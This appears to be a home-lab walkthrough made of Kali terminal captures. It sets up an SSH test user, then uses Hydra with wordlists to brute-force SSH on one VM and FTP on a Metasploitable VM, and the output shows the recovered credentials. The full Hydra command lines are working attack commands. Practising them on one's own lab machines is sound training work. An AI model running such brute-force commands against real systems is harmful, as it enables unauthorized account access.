

test_user@kali: ~

File Actions Edit View Help

```
(root@kali)-[~]
# sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []: test_user
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:

Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(root@kali)-[~]
# sudo service ssh start

(root@kali)-[~]
# sudo nano /etc/ssh/sshd_config

(root@kali)-[~]
# ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:IA+WUzfwoIpbG30mHkbBFUZDJzhpLvCkDPnGoAvwCnC.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```



Trash



File System



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seclist

```
kali@kali: ~  
File Actions Edit View Help  
ssh -F  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga  
nizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-25 17:53:07  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks:  
use -t 4  
[DATA] max 64 tasks per 1 server, overall 64 tasks, 9000 login tries (l:18/p:500), ~141 tries per task  
[DATA] attacking ssh://192.168.50.100:22/  
[STATUS] 386.00 tries/min, 386 tries in 00:01h, 8645 to do in 00:23h, 33 active  
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.  
  
[kali@kali]~  
$ hydra -L /home/kali/top-usernames-shortlist.txt -P /home/kali/passwd.txt 192.168.50.100 -t64 ssh -F  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga  
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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-25 17:56:01  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks:  
use -t 4  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous sessi  
on found, to prevent overwriting, ./hydra.restore  
^C  
  
[kali@kali]~  
$ hydra -L /home/kali/top-usernames-shortlist.txt -P /home/kali/passwd.txt 192.168.50.100 -t64 ssh -F  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga  
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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-25 17:56:17  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks:  
use -t 4  
[DATA] max 64 tasks per 1 server, overall 64 tasks, 198 login tries (l:18/p:11), ~4 tries per task  
[DATA] attacking ssh://192.168.50.100:22/  
[22][ssh] host: 192.168.50.100 login: test_user password: testpass  
[STATUS] attack finished for 192.168.50.100 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-25 17:56:18  
  
[kali@kali]~  
$
```



Trash



File System



Home



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```
Metasploit2 v [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ p a
-bash: p: command not found
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:0f:1a:db brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.101/24 brd 192.168.50.255 scope global eth0
        inet6 fe80::a00:27ff:fe0f:1adb/64 scope link
            valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

```
kali@kali: ~
File Actions Edit View Help
(kali@kali)~$ hydra -L /home/kali/top-usernames-shortlist.txt -P /home/kali/passwd.txt 192.168.50.101 -t64 ftp -F
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga
nizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-25 18:18:10
[DATA] max 64 tasks per 1 server, overall 64 tasks, 209 login tries (l:19/p:11), ~4 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[21][ftp] host: 192.168.50.101 login: ftp password: 123456
[STATUS] attack finished for 192.168.50.101 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-25 18:18:18

(kali@kali)~$
```